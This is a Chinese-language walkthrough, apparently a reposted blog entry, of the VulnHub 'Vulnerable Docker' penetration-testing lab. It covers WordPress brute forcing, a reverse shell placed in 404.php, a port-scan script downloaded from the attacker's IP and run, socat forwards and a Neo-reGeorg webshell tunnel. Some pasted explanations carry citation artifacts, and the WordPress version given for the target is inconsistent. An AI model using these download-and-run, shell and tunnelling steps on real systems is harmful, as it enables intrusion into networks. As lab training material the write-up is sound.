内网渗透测试-Vulnerable Docker靶场

news2025/2/27 6:50:54

靶场来源: Vulnerable Docker: 1 ~ VulnHub

描述:Down By The Docker

有没有想过在容器中玩 docker 错误配置、权限提升等?

下载此 VM,拿出您的渗透测试帽并开始使用

我们有 2 种模式: - HARD:这需要您将 docker 技能和渗透测试技能相结合,以实现主机入侵。 - EASY:相对简单的路径,了解 docker 就足以破坏机器并在主机上获得 root。

我们已经在您可以使用的各种机器/系统中植入了 3 个标志文件。如果您选择接受,您的任务如下:

  1. 识别所有标志(总共 2 个:flag_1 和 flag_3)(flag_2 个被无意中遗漏了)
  2. 在主机上获得 id=0 shell 访问权限。

开启靶场虚拟机之前选择easy模式再进入

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.181,靶场IP192.168.23.66

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.66

2375端口的内容特别多

  1. 端口 22/tcp (SSH)
    • 状态: 开放
    • 服务: OpenSSH 6.6p1 (Ubuntu 2ubuntu1)
    • 描述: 这是一个 SSH 服务,版本较旧,运行在 Ubuntu 系统上。我们看到该服务支持多种加密算法(如 DSA、RSA、ECDSA 和 ED25519)。
    • 安全性: 如果该系统暴露在互联网或不受信任的网络上,建议通过强密码策略、密钥认证等增强 SSH 的安全性,并及时更新 OpenSSH 版本。
  1. 端口 2375/tcp (Docker)
    • 状态: 开放
    • 服务: Docker 17.06.0-ce
    • 描述: 该端口暴露了 Docker API,允许进行远程 Docker 容器管理。Docker 服务信息显示其版本为 17.06.0-ce,且该 API 的最小版本要求为 1.12。
    • 安全性: 端口 2375 默认情况下未加密连接,非常危险,如果没有采取合适的认证机制,攻击者可能利用该端口进行远程操作。建议使用 TLS 加密并在 Docker 配置中启用认证(如设置 client-cert 认证)。在生产环境中不要直接暴露此端口。
  2. 端口 8000/tcp (HTTP)
    • 状态: 开放
    • 服务: Apache HTTPD 2.4.10 (Debian)
    • 描述: 该端口提供一个 Apache Web 服务器,运行 WordPress 网站(版本 4.8.1)。页面显示为 "NotSoEasy Docker – Just another WordPress site"。
    • 安全性: 由于使用了较旧版本的 Apache 和 WordPress,建议尽快更新,以防止已知的安全漏洞被利用。robots.txt 文件中提到禁止访问 /wp-admin/,这表明管理员区域受限,但没有屏蔽整个网站的敏感目录。确保 WordPress 插件和主题及时更新,并实施更强的 Web 应用安全措施(如防止 SQL 注入、跨站脚本攻击等)。

第一种方法,针对存在http服务的8000端口进行攻击

4,访问8000端口开放的http服务看看

判断是一个博客网站,枚举扫描扫网站后台试试

dirsearch -u http://192.168.23.66:8000 -x 404,403,301

5,网站指纹扫描识别

whatweb -v http://192.168.23.66:8000

6,指纹扫描没什么用,但是能够找到/wp-login.php这种登录页面

使用wpscan工具进行攻击

wpscan --url http://192.168.23.66:8000/ -e u vp

-e 枚举

-u 用户名

-vp 有漏洞的插件

爆出来一个用户bob

然后再爆出bob用户的密码,但是要先解压出一个字典

gunzip /usr/share/wordlists/rockyou.txt.gz

wpscan --url http://192.168.23.66:8000/ -e u -P /usr/share/wordlists/rockyou.txt -t 20

最后成功爆出来用户密码为Welcome1

wpscan使用指南

WPScan 是一个非常流行的用于扫描 WordPress 网站漏洞的工具,它可以帮助安全研究人员发现 WordPress 网站上的已知漏洞、插件和主题漏洞、弱口令等。下面是 WPScan 工具的使用指南,包括基本的安装、常见命令和配置说明。

1. 安装 WPScan

通过 Docker 安装

如果不想在系统上直接安装依赖,您可以通过 Docker 来运行 WPScan:

docker pull wpscanteam/wpscan
docker run -it wpscanteam/wpscan --url Example Domain

通过 Ruby 安装(如果系统上没有包管理工具):

sudo apt-get install ruby ruby-dev
sudo gem install wpscan

2. 基本用法

扫描目标网站

wpscan --url Example Domain

这将扫描指定的 WordPress 网站,自动检测出可能的漏洞、插件、主题等。

扫描并列出插件

wpscan --url Example Domain --enumerate p

使用 --enumerate p 参数,可以枚举网站上安装的所有插件。

扫描并列出主题

wpscan --url Example Domain --enumerate t

使用 --enumerate t 参数,可以列出网站上安装的所有主题。

扫描并列出用户

wpscan --url Example Domain --enumerate u

使用 --enumerate u 参数,可以列出 WordPress 网站的用户。

3. 高级扫描选项

使用 API 密钥进行漏洞检查

WPScan 提供一个 API,可以用来检查 WordPress 安装的漏洞。如果你有 API 密钥,可以在运行扫描时使用该密钥来获取更多的漏洞信息。

首先获取一个 API 密钥:WPScan API。 然后使用命令:

wpscan --url Example Domain --api-token YOUR_API_KEY

检测 WordPress 版本

wpscan --url Example Domain --wp-version

使用 --wp-version 参数可以检测目标 WordPress 安装的版本,帮助你确定是否存在已知的版本漏洞。

检测 WordPress 配置和文件

wpscan --url Example Domain --config-backups

使用 --config-backups 参数,可以检测 WordPress 是否泄露了敏感配置文件或备份文件。

4. 弱口令检测

检测弱密码(暴力破解)

wpscan --url Example Domain --enumerate u --passwords /path/to/wordlist.txt --brute-force

  • --passwords 选项指定一个密码字典文件。
  • --brute-force 用于启用暴力破解。

检测登录页面

wpscan --url Example Domain --login-url /wp-login.php --usernames admin --passwords /path/to/wordlist.txt --brute-force

  • 这会尝试通过暴力破解 admin 用户的密码进行登录。

5. 扫描插件漏洞

扫描特定插件的漏洞

wpscan --url Example Domain --plugins-detection mixed

该命令启用混合插件检测(可能会检查 WordPress 插件的已知漏洞)。

查看插件的具体漏洞

wpscan --url Example Domain --plugins-detection aggressive

这会使用更积极的方式去检测插件漏洞。

6. 扫描主题漏洞

扫描并列出所有安装的主题

wpscan --url Example Domain --enumerate t

扫描主题漏洞

wpscan --url Example Domain --enumerate t --vuln

7. 结果输出

保存扫描结果到文件

wpscan --url Example Domain --output results.txt

可以将扫描结果保存到文件,方便后续分析。

8. 示例命令

扫描目标 WordPress 网站:

wpscan --url Example Domain

扫描并枚举插件:

wpscan --url Example Domain --enumerate p

扫描并查看漏洞信息:

wpscan --url Example Domain --api-token YOUR_API_KEY

使用自定义字典暴力破解:

wpscan --url Example Domain --usernames admin --passwords /path/to/wordlist.txt --brute-force

扫描目标并输出结果:

wpscan --url Example Domain --output /path/to/output.txt

9. 常见问题

  • API 限制:如果你使用免费版本的 WPScan API,可能会遇到 API 请求次数限制。可以通过购买高级版 API 进行更多的漏洞查询。
  • 防火墙和屏蔽:一些目标网站可能会启用 Web 应用防火墙(WAF),它们会检测到 WPScan 的扫描行为并可能阻止扫描。因此,你可能需要调整 WPScan 的扫描速度或者使用代理。
  • 更新数据库:WPScan 定期更新漏洞数据库,以包含最新的漏洞。如果你发现扫描没有显示某些漏洞,请确保 WPScan 已经更新至最新版本。

7,然后使用这个密码进行登录,登录成功

由此知道wordpress的版本为6.7.2,是存在一些公开exp的,这里暂不使用

成功得到第一个flag

8,getshell的方式非常经典,在404.php编辑写入php反弹shell代码。使用kali攻击机自带的反弹shell代码

copy这些代码,然后将其复制黏贴到指定区域

需要修改IP和端口再上传

9,触发反弹shell非常简单,首先kali通过nc开启对4444端口的监听

然后访问一个不存在的网站资源 http://192.168.23.66:8000/123456 就能触发404.php存在的反弹shell

10,非常诡异的是ip a查看出来的IP地址与靶场本机IP地址不同

在Docker环境中,www-data用户的权限与宿主机的IP地址不一致是正常现象,原因与Docker的网络隔离机制和用户命名空间隔离有关。以下是详细解释:

1. Docker容器的网络隔离

Docker默认使用**桥接网络(Bridge Network)**为每个容器分配独立的网络命名空间,这意味着:

  • 容器拥有独立的虚拟网络接口(如 eth0),其IP地址与宿主机(本机)的物理接口(如 eth0或 wlan0)不同。
  • 例如,宿主机IP可能是 192.168.1.100,而容器内部的IP可能是 172.17.0.2(Docker默认的私有网段)。

验证方法

# 查看宿主机IP
hostname -I

# 进入容器查看容器IP
docker exec -it <容器名或ID> ip a

2. www-data用户的权限隔离

www-data是Web服务器(如Apache/Nginx)在容器内的默认运行用户,用于权限控制:

  • 该用户仅在容器内有效,与宿主机用户无关。
  • 容器通过用户命名空间隔离,即使容器内有同名用户(如 www-data),其UID/GID也可能与宿主机不同。

验证方法

# 查看宿主机www-data用户的UID/GID
id www-data

# 进入容器查看容器内www-data的UID/GID
docker exec -it <容器名或ID> id www-data

3. 端口映射与访问方式

虽然容器有独立IP,但默认外部无法直接访问容器IP。需通过端口映射将宿主机端口与容器端口绑定:

docker run -p 80:80 <镜像名>

  • 此时,外部通过宿主机IP(如 192.168.1.100:80)访问容器服务。
  • 容器内服务(如Apache)可能记录的是容器IP(172.17.0.2),但实际访问来源经过Docker的NAT转换。

4. 高级网络模式

若IP不一致导致问题,可调整Docker网络模式:

  • Host模式:容器共享宿主机网络命名空间,IP与宿主机一致。
    docker run --network=host <镜像名>
  • 自定义网络:创建自定义桥接网络,实现容器间固定IP分配。
    docker network create --subnet 10.10.0.0/24 mynet
    docker run --network=mynet --ip 10.10.0.2 <镜像名>

5. 安全与权限建议

  • 避免使用root用户:确保容器内服务以非特权用户(如 www-data)运行。
  • 限制容器权限:运行容器时添加安全参数:
    docker run --user 1000:1000 --cap-drop=ALL <镜像名>

总结

  • 网络不一致:因Docker默认的桥接网络隔离,容器IP与宿主机IP必然不同。
  • 用户不一致:容器内的用户(如 www-data)与宿主机用户通过命名空间隔离,UID/GID可能不同。
  • 解决方案:若需IP一致,可使用Host模式;若需用户一致,需同步UID/GID或绑定用户。

11,在docker容器强行启动一个可交互shell

bash -i:bash是Linux系统中的一个shell,而-i选项表示“交互式模式”(interactive mode)。在交互式模式下,bash shell会:

  • 读取用户的配置文件(如~/.bashrc)。
  • 启用命令提示符,让用户可以输入并执行命令。
  • 允许用户与shell进行交互式操作。

然而,bash -i的执行过程中可能会遇到以下错误:

  • bash: cannot set terminal process group (1): Inappropriate ioctl for device:该错误通常发生在非交互式终端环境中(如通过管道或某些程序重定向的环境)。这表明bash无法与终端进行正常的交互,因为它没有一个合适的终端设备(TTY)。
  • bash: no job control in this shell:这是因为在没有交互式终端(如TTY设备)的情况下,bash shell无法启用作业控制(job control)。作业控制允许用户在shell中暂停、后台运行或切换任务,但这在没有合适终端的情况下是无法实现的。

help查看能够使用哪些命令

12,编写虚拟环境下的主机探活脚本

for ip in 172.18.0.{1..254}; do
    (ping -c1 -W1 "$ip" &>/dev/null && echo "$ip") &
done | sort -V
wait

  1. 简化IP生成
    使用Bash的大括号扩展 {1..254} 直接生成IP地址列表,避免依赖外部命令 seq。
  2. 后台并发处理
    每个 ping 命令在子shell中后台运行 (&),加快扫描速度。
  3. 精确输出控制
    ping 成功时仅输出IP地址,过滤冗余文本。
  4. 结果排序(可选)
    通过管道 | sort -V 对输出结果按自然顺序排序,便于查看(若无需排序可移除)。

发现存在四个IP

13,接下来就编写代码扫描端口。先在kali linux上面写好

1. 定义目标主机

hosts=("172.18.0.1" "172.18.0.2" "172.18.0.3" "172.18.0.4")

这个部分定义了一个名为hosts的数组,包含了要扫描的目标IP地址。脚本将会对这些主机逐一进行端口扫描。

2. 端口扫描的端口范围

END=65535

这个变量定义了端口扫描的上限为65535,即扫描所有可能的端口(从1到65535)。

3. 遍历每个主机进行扫描

for host in "${hosts[@]}"
     这个for循环遍历了hosts数组中的每个IP地址

  • 对于每个目标主机,先输出扫描目标的提示信息:Scanning $host。

4. 端口扫描

for ((port=1; port<END;port++))

do

echo "" > /dev/tcp/$host/$port && echo "port $port is open"

done

  • for循环遍历每个端口,从1到65534(不包括65535)。脚本尝试对每个端口进行扫描。
  • echo "" > /dev/tcp/$host/$port:这是一个Bash特性,/dev/tcp/是一个特殊的文件,允许脚本通过TCP连接进行通信。
    • 该命令的作用是尝试建立到目标主机$host的TCP连接,连接目标端口$port。
    • 如果连接成功,命令将返回0(成功),否则返回非零值(失败)。
  • && echo "port $port is open":如果连接成功(即端口开放),就输出port $port is open,表示该端口是开放的。

5. 错误处理

done 2>/dev/null

这部分的作用是将所有的错误输出(例如连接失败时产生的错误信息)重定向到/dev/null,从而屏蔽掉错误信息,只保留成功连接的端口信息。

6. 总结

  • 脚本逐一扫描目标主机的每个端口。
  • 对于每个端口,脚本通过/dev/tcp/$host/$port尝试建立连接,如果连接成功,表示该端口开放,输出“端口$port开放”。
  • 如果连接失败,脚本不会显示任何信息(因为错误输出被重定向到/dev/null)。
  • 通过这种方式,脚本可以有效地列出所有开放的端口,而不显示失败的连接。

然后开启http服务以发送给目标服务器

CURL命令使用大全-CSDN博客

目标服务器使用curl命令接受下载脚本

cd /tmp

curl -O http://192.168.23.181:8000/portscan.sh

然后执行这个端口扫描脚本

chmod +x portscan.sh

./portscan.sh

13,然后使用脚本分别探测这几个端口分别有什么

curl -s 172.18.0.1:8000

经过对比可以知道这个是物理主机的IP地址,开放的是网络主机的http服务

curl -s 172.18.0.3:80

80端口是主机,和网络主机的服务网站一模一样

curl -s 172.18.0.4:8022

由此就可以知道 172.18.0.4运行docker-ssh

14,然后对照端口扫描的结果给局域网内四台虚拟主机用socat做一堆端口转发

socat TCP4-LISTEN:1234,reuseaddr,fork TCP4:192.168.23.181:1234 &

socat TCP4-LISTEN:2222,reuseaddr,fork TCP4:172.18.0.1:22 &

socat TCP4-LISTEN:8000,reuseaddr,fork TCP4:172.18.0.1:8000 &

socat TCP4-LISTEN:80,reuseaddr,fork TCP4:172.18.0.2:80 &

socat TCP4-LISTEN:44977,reuseaddr,fork TCP4:172.18.0.2:44977 &

socat TCP4-LISTEN:22,reuseaddr,fork TCP4:172.18.0.4:22 &

socat TCP4-LISTEN:8022,reuseaddr,fork TCP4:172.18.0.4:8022 &

白忙活了,没有这个工具。然后使用Neo-reGeorg工具详解

Neo-reGeorg工具详解

Neo-reGeorg 是一款基于 HTTP(S) 协议的内网穿透工具,是 reGeorg 的升级版,通过加密传输和动态伪装技术绕过安全检测,广泛应用于内网渗透中的横向移动和隧道搭建。以下从核心原理、使用方法、实战场景、防御措施等角度进行详细解析:

一、核心原理与特性

  1. 协议基础
    Neo-reGeorg 基于 Socks5 协议,通过 HTTP(S) 隧道将内网流量封装在加密的 HTTP 数据包中传输。本地监听 1080 端口作为 Socks5 代理入口,流量经加密后通过 Web 服务器转发至内网目标168
  2. 核心优势
    • 加密与伪装:传输内容经变形 Base64 加密,伪装为普通 HTTP 流量,避免特征检测16
    • 动态混淆:HTTP 头部指令随机生成,支持多 URL 随机请求,降低被 WAF 或 IDS 识别的风险18
    • 兼容性高:支持 PHP、JSP、ASPX 等多种语言脚本,适应无 Cookie 或负载均衡环境16
  3. 技术对比
    相较于传统工具如 reDuh 或 FRP,Neo-reGeorg 无需额外安装客户端,仅需上传单一 WebShell 文件即可建立隧道,隐蔽性更强69

二、使用步骤详解

1. 生成隧道脚本

# 生成密钥为 password 的隧道文件(支持多语言)
python3 neoreg.py generate -k password

生成文件位于 neoreg_servers/ 目录,包含 tunnel.php、tunnel.jsp 等脚本24

2. 上传并部署脚本

将生成的隧道文件上传至目标 Web 服务器的可访问路径(如 /var/www/html/tunnel.php),并确保脚本可执行。通过 curl 或浏览器访问确认脚本可正常运行17

3. 建立 Socks5 代理

# 连接隧道脚本并启动本地代理
python3 neoreg.py -k password -u http://目标IP/tunnel.php

默认在本地 127.0.0.1:1080 启动 Socks5 代理,后续可通过 Proxychains 或浏览器配置代理访问内网资源27

三、高级功能与实战技巧

  1. 流量伪装
    • 定制 HTTP 响应码:生成伪装成 404 页面的隧道脚本,干扰日志审计:
      python3 neoreg.py generate -k password --file 404.html --httpcode 404:cite[1]:cite[6]
    • 动态请求头:添加随机 HTTP 头部或 Cookie,增强隐蔽性:
      python3 neoreg.py -k password -u http://目标/tunnel.php -H "Authorization: Basic YWRtaW46MTIzNA==" --cookie "session=abc123":cite[1]:cite[6]
  2. 复杂网络环境适配
    • 负载均衡场景:通过 -r 参数指定内网转发地址,应对多服务器负载均衡:
      python3 neoreg.py -k password -u http://目标/tunnel.jsp -r http://内网IP:8080:cite[6]
    • 代理穿透:若目标服务器需通过代理访问外网,可使用 --proxy 参数:
      python3 neoreg.py -k password -u http://目标/tunnel.php --proxy socks5://10.1.1.1:8080:cite[6]
  3. 联合工具链
    • Proxychains 代理:配置 /etc/proxychains.conf 添加 socks5 127.0.0.1 1080,支持 Nmap、Metasploit 等工具穿透内网27
    • BurpSuite 抓包:结合 Burp 代理分析加密流量,辅助调试或绕过认证机制87

四、典型应用场景

  1. 防火墙绕过
    目标内网仅开放 80/443 端口时,通过 Web 服务器建立加密隧道,穿透防火墙限制访问内网服务(如数据库、远程桌面)37
  2. 横向渗透
    利用隧道代理扫描内网段(如 proxychains nmap -sT 192.168.1.0/24),定位关键主机并进一步利用漏洞79
  3. 隐蔽 C2 通信
    与 Cobalt Strike 结合,通过加密隧道传递攻击指令,规避流量监测设备89

五、常见问题与解决

  1. 依赖缺失
    若报错 No module named requests,需安装 Python 依赖:
    pip3 install requests:cite[4]
  2. 代理连接失败
    • 检查密钥一致性:生成与连接时使用的密钥需完全匹配2
    • 跳过可用性测试:添加 --skip 参数绕过脚本初始检测:
      python3 neoreg.py -k password -u http://目标/tunnel.php --skip:cite[4]
  3. 跨设备代理失效
    若其他设备无法通过 Kali 的代理访问内网,需修改监听地址为 0.0.0.0:
    python3 neoreg.py -k password -u http://目标/tunnel.php -l 0.0.0.0 -p 1080:cite[3]

六、防御与检测建议

  1. 主动防御
    • WebShell 扫描:定期使用 D盾、河马等工具检测异常脚本8
    • 日志审计:监控异常 HTTP 请求(如频繁访问固定 URL、响应码异常)8
  2. 权限控制
    • 最小化文件权限:限制 Web 目录的可执行权限,禁止上传非白名单文件类型8
    • 禁用危险配置:关闭不必要的 HTTP 方法(如 PUT、TRACE),避免中间件解析漏洞8
  3. 流量分析
    • 解密特征识别:尽管传输内容加密,但固定密钥可能导致 Base64 变形模式可被机器学习模型识别68
    • 行为建模:通过统计内网主机的出站连接频率,发现异常代理行为9

七、与其他工具对比

工具

协议

隐蔽性

适用场景

缺点

Neo-reGeorg

HTTP(S)

高(加密)

Web 服务器穿透

依赖 WebShell 文件

FRP

TCP/UDP

中(可加密)

多协议转发

需部署客户端

Proxychains

Socks5

本地工具链代理

不支持复杂网络穿透

Cobalt Strike

Socks4a

高(加密)

红队协作与高级持久化

商业软件,成本高

14,下载安装配置工具

export https_proxy="socks5://192.168.31.223:49969"

git clone https://github.com/Whale-Labs/neo-regeorg.git

cd /Neo-reGeorg-master

python3 neoreg.py generate -k yourpassword

可以看到生成了neoreg_servers/tunnel.php,开启http服务使靶机能够下载

cd /root/Neo-reGeorg-master/neoreg_servers

python -m http.server

curl -O http://192.168.23.181:8000/tunnel.php

mv tunnel.php /var/www/html/tunnel.php

python3 neoreg.py -k yourpassword -u http://192.168.23.66:8000/tunnel.php

配合proxychains4 工具使用,需要修改配置文件: /etc/proxychains4.conf,在其末尾添加

socks5 127.0.0.1 1080

15,然后使用nmap探测四个内网IP的端口

proxychains4 nmap -Pn -sT 172.18.0.1

proxychains4 nmap -Pn -sT 172.18.0.2

proxychains4 nmap -Pn -sT 172.18.0.3

proxychains4 nmap -Pn -sT 172.18.0.4

15,proxychains4 firefox

访问172.18.0.1:8000

访问172.18.0.4:8022

这里的终端竟然是root用户

cat /proc/version

查看版本为 ubuntu 14.04

在这里安装了一个docker,先换源

vim /etc/apt/sources.list

deb ubuntu安装包下载_开源镜像站-阿里云 trusty main restricted universe multiverse

deb ubuntu安装包下载_开源镜像站-阿里云 trusty-security main restricted universe multiverse

deb ubuntu安装包下载_开源镜像站-阿里云 trusty-updates main restricted universe multiverse

deb ubuntu安装包下载_开源镜像站-阿里云 trusty-proposed main restricted universe multiverse

deb ubuntu安装包下载_开源镜像站-阿里云 trusty-backports main restricted universe multiverse

deb-src ubuntu安装包下载_开源镜像站-阿里云 trusty main restricted universe multiverse

deb-src ubuntu安装包下载_开源镜像站-阿里云 trusty-security main restricted universe multiverse

deb-src ubuntu安装包下载_开源镜像站-阿里云 trusty-updates main restricted universe multiverse

deb-src ubuntu安装包下载_开源镜像站-阿里云 trusty-proposed main restricted universe multiverse

deb-src ubuntu安装包下载_开源镜像站-阿里云 trusty-backports main restricted universe multiverse

export https_proxy="socks5://192.168.31.223:49969"

curl -fsSL get.docker.com -o get-docker.sh

python -m http.server

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2306758.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

一键导出数据库表到Excel

工作中&#xff0c;我们经常需要将数据库表导出到Excel&#xff0c;通常我们会用数据库编辑器之类的工具提供的导出功能来导出&#xff0c;但是它们的导出功能通常都比较简单。 这篇文章将介绍一种简单易用并且功能强大的导出方法。 新增导出 打开的卢导表工具&#xff0c;新…

2025年电气工程与智能系统国际学术会议(IC2EIS 2025)

重要信息 官网&#xff1a;www.ic2eis.org(点击了解参会投稿等) 时间&#xff1a;2025年3月14-16日 地点&#xff1a;中国河南省郑州市 简介 2025年电气工程与智能系统国际学术会议&#xff08;IC2EIS 2025&#xff09;将于2025年3月14-16日在中国郑州举行。会议旨在为电气…

Activiti 5 + Spring Boot全流程开发指南

目录 一、环境搭建&#xff08;Spring Boot 2.x&#xff09; 1.1 依赖配置 1.2 配置文件 二、流程定义与部署 2.1 创建BPMN文件&#xff08;leave.bpmn&#xff09; 2.2 流程部署服务 三、流程操作核心实现 3.1 启动流程实例 3.2 查询待办任务 四、审批流程处理 4.1 …

docker安装etcd:docker离线安装etcd、docker在线安装etcd、etcd镜像下载、etcd配置详解、etcd常用命令、安装常见问题总结

官方网站 官方网址&#xff1a;etcd 二进制包下载&#xff1a;Install | etcd GitHub社区项目&#xff1a;etcd-io GitHub GitHub社区项目版本历史&#xff1a;Releases etcd-io/etcd GitHub 一、镜像下载 1、在线下载 在一台能连外网的linux上执行docker镜像拉取命令…

【云安全】云原生-Docker(六)Docker API 未授权访问

Docker API 未授权访问 是一个非常严重的安全漏洞&#xff0c;可能导致严重的安全风险。 什么是 Docker API &#xff1f; Docker API 是 Docker 容器平台提供的一组 RESTful API&#xff0c;用于与 Docker 守护程序进行通信和管理 Docker 容器。通过 Docker API&#xff0c;…

【人工智能顶刊合集】CCF-A/B/C类推荐所有期刊目录,中科院1区审稿极速,81天录用!

本期盘点【人工智能】领域CCF-A/B/C类中科院1-2区期刊最新影响因子、分区、审稿周期参考&#xff01; CCF-A类 Artificial Intelligence • 影响因子&#xff1a;5.1 • 期刊分区&#xff1a;JCR1区&#xff0c;中科院2区 • 年发文量&#xff1a;126 • 自引率&#xff1…

C#实战:基于腾讯云大模型知识引擎原子能力提供的文档解析API快速提取图片信息为MD文档

目录 一、大模型知识引擎 LKE介绍 1.1 如何开通服务? 1.2 大模型知识引擎组成 二、案例实战 2.1、创建项目 2.2、引入腾讯大模型知识引擎 LKE调用SDK依赖库 2.3、代码编写 2.4、界面设计 三、总结 今天借助腾讯云大模型知识引擎原子能力提供的文档解析API快速提取图片…

第7章_将应用程序与 Keycloak 集成

将应用程序与 Keycloak 集成 到目前为止&#xff0c;您已经了解了 Keycloak 中的主要概念和配置选项。在本章中&#xff0c;您将学习如何应用它们&#xff0c;以便您可以配置您的应用程序并将它们与 Keycloak 集成。 通过选定的集成场景和编码示例&#xff0c;您将根据应用程…

千峰React:案例一

做这个案例捏 因为需要用到样式&#xff0c;所以创建一个样式文件&#xff1a; //29_实战.module.css .active{text-decoration:line-through } 然后创建jsx文件&#xff0c;修改main文件&#xff1a;导入Todos&#xff0c;写入Todos组件 import { StrictMode } from react …

ChatGPT入驻Safari,AI搜索时代加速到来

2月25日&#xff0c;人工智能领域巨头OpenAI宣布了一项重磅更新&#xff1a;为其广受欢迎的ChatGPT应用新增Safari浏览器扩展功能&#xff0c;并支持用户将ChatGPT设置为Safari地址栏的默认搜索引擎。这一举措标志着OpenAI在将ChatGPT整合进用户日常网络浏览体验方面迈出了重要…

【错误记录】Arrays.asList 的坑

文章目录 概要原因小结 概要 最近在写一个需求的时候用到了这个方法生成一个 List&#xff0c;接着再往里面添加数据的时候就报错了&#xff0c;比如下面的例子。 public class Main {public static void main(String[] args) {List<Integer> res Arrays.asList(1, 2,…

JConsole远程连接错误解决

个人博客地址&#xff1a;JConsole远程连接错误解决 | 一张假钞的真实世界 程序启动命令及参数如下&#xff1a; $ java -Dcom.sent.jmxremote.sslfalse -jar math-game.jar 防火墙已经放开30000端口访问&#xff0c;如下&#xff1a; $ telnet 192.168.72.156 30000 Tryin…

CineMaster: 用于电影文本到视频生成的 3D 感知且可控的框架。

CineMaster是一种 3D 感知且可控的文本到视频生成方法允许用户在 3D 空间中联合操纵物体和相机&#xff0c;以创作高质量的电影视频。 相关链接 论文&#xff1a;cinemaster-dev.github.io 论文介绍 CineMaster是一种用于 3D 感知和可控文本到视频生成的新型框架。目标是让用…

解决后端跨域问题

目录 一、什么是跨域问题&#xff1f; 1、跨域问题的定义 2、举例 3、为什么会有跨域问题的存在&#xff1f; 二、解决跨域问题 1、新建配置类 2、编写代码 三、结语 一、什么是跨域问题&#xff1f; 1、跨域问题的定义 跨域问题&#xff08;Cross-Origin Resource Sh…

防爆手机科普:与普通手机的区别?在危险作业场景扮演什么角色?

在易燃易爆的工业环境中&#xff0c;如石油化工、矿山开采等领域&#xff0c;一款具备特殊安全性能的通讯工具显得尤为重要。这就是我们今天要深入探讨的主题——防爆手机。那么&#xff0c;什么是防爆手机&#xff1f;它与普通手机有何区别&#xff1f;防爆手机在这些危险作业…

12.MySQL版题目设计|创建用户并赋权|MySQLWorkbench创建表结构|测试录题功能(mysql)

在数据库中设计可以远程登陆的MySQL用户&#xff0c;并给他赋权 oj_client设计表结构 数据库&#xff1a;oj&#xff0c; 表&#xff1a;oj_questions开始编码 连接访问数据库 创建用户并赋权 mysql -uroot -p进入mysql use mysql;select User, Host from user;create user…

0x01 html和css

css 对于三种css使用方式&#xff1a; 第一种&#xff1a;行内样式 <span style"color: grey;">2024年05月15日 20:07</span>第二种&#xff1a;内部样式 <!DOCTYPE html> <html lang"en"> <head>...<style>span{…

excel单、双字节字符转换函数(中英文输入法符号转换)

在Excel中通常使用函数WIDECHAR和ASC来实现单、双字节字符之间的转换。其中 WIDECHAR函数将所有的字符转换为双字节&#xff0c;ASC函数将所有的字符转换为单字节 首先来解释一下单双字节的含义。单字节一般对应英文输入法的输入&#xff0c;如英文字母&#xff0c;英文输入法…

如何看待 Kaiming He 最新提出的 Fractal Generative Models ?

何恺明团队提出的分形生成模型(Fractal Generative Models) 引发了广泛关注,其核心思想是通过递归调用生成模型模块构建自相似结构,类似数学中的分形概念(如雪花结构),从而高效生成高分辨率数据(如图像)。 Fractal Generative Models即分形生成模型,是一种新型的生成…

AOP进阶-04.切入点表达式-@annotation

一.annotation注解 我们在最后一个切入点表达式中要匹配多个无规则的方法&#xff0c;这样的写法有些冗余了。而annotation注解就是来解决这一问题的。 annotation注解使用特定的注解来匹配方法。我们首先自定义一个注解&#xff0c;该注解就相当于一个标签&#xff0c;目标对…